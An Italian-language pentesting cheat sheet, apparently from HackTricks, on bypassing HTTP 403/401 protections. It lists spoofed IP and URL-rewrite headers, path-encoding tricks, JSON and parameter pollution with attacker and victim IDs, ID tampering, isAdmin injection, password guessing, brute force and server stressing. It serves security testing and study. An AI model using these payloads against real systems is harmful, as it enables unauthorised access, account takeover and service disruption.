403 & 401 Bypasses
Last updated
Last updated
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business. Usa i nostri 20+ strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
Prova a usare verbi diversi per accedere al file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Controlla le intestazioni di risposta, forse alcune informazioni possono essere fornite. Ad esempio, una risposta 200 a HEAD con Content-Length: 55
significa che il verbo HEAD può accedere alle informazioni. Ma devi comunque trovare un modo per esfiltrare quelle informazioni.
Usare un'intestazione HTTP come X-HTTP-Method-Override: PUT
può sovrascrivere il verbo utilizzato.
Usa il verbo TRACE
e se sei molto fortunato, forse nella risposta puoi vedere anche le intestazioni aggiunte da proxy intermedi che potrebbero essere utili.
Cambia l'intestazione Host in un valore arbitrario (che ha funzionato qui)
Prova a usare altri User Agents per accedere alla risorsa.
Fuzz HTTP Headers: Prova a usare le Intestazioni HTTP, l'autenticazione HTTP di base e il brute-force NTLM (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Se il percorso è protetto puoi provare a bypassare la protezione del percorso usando queste altre intestazioni:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Se la pagina è dietro un proxy, forse è il proxy a impedire l'accesso alle informazioni private. Prova ad abusare di HTTP Request Smuggling o intestazioni hop-by-hop.
Fuzz intestazioni HTTP speciali cercando risposte diverse.
Fuzz intestazioni HTTP speciali mentre fai fuzzing metodi HTTP.
Rimuovi l'intestazione Host e forse sarai in grado di bypassare la protezione.
Se /path è bloccato:
Prova a usare /%2e/path _(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche_** /%252e**/path (doppia codifica URL)
Prova il bypass Unicode: /%ef%bc%8fpath (I caratteri codificati in URL sono come "/") quindi quando viene ricodificato sarà //path e forse avrai già bypassato il controllo del nome /path
Altri bypass del percorso:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Usa tutta questa lista nelle seguenti situazioni:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Altri bypass API:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (Inquinamento del parametro JSON)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Inquinamento del parametro)
Cambia il valore del parametro: Da id=123
--> id=124
Aggiungi parametri aggiuntivi all'URL: ?
id=124
—-> id=124&isAdmin=true
Rimuovi i parametri
Riordina i parametri
Usa caratteri speciali.
Esegui test di confine nei parametri — fornisci valori come -234 o 0 o 99999999 (solo alcuni valori di esempio).
Se usi HTTP/1.1 prova a usare 1.0 o anche a testare se supporta 2.0.
Ottieni l'IP o il CNAME del dominio e prova a contattarlo direttamente.
Prova a stressare il server inviando richieste GET comuni (Ha funzionato per questo ragazzo con Facebook).
Cambia il protocollo: da http a https, o da https a http
Vai su https://archive.org/web/ e controlla se in passato quel file era accessibile a livello mondiale.
Indovina la password: Testa le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
Brute force: Prova autenticazioni di base, digest e NTLM.
Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business. Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatici per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)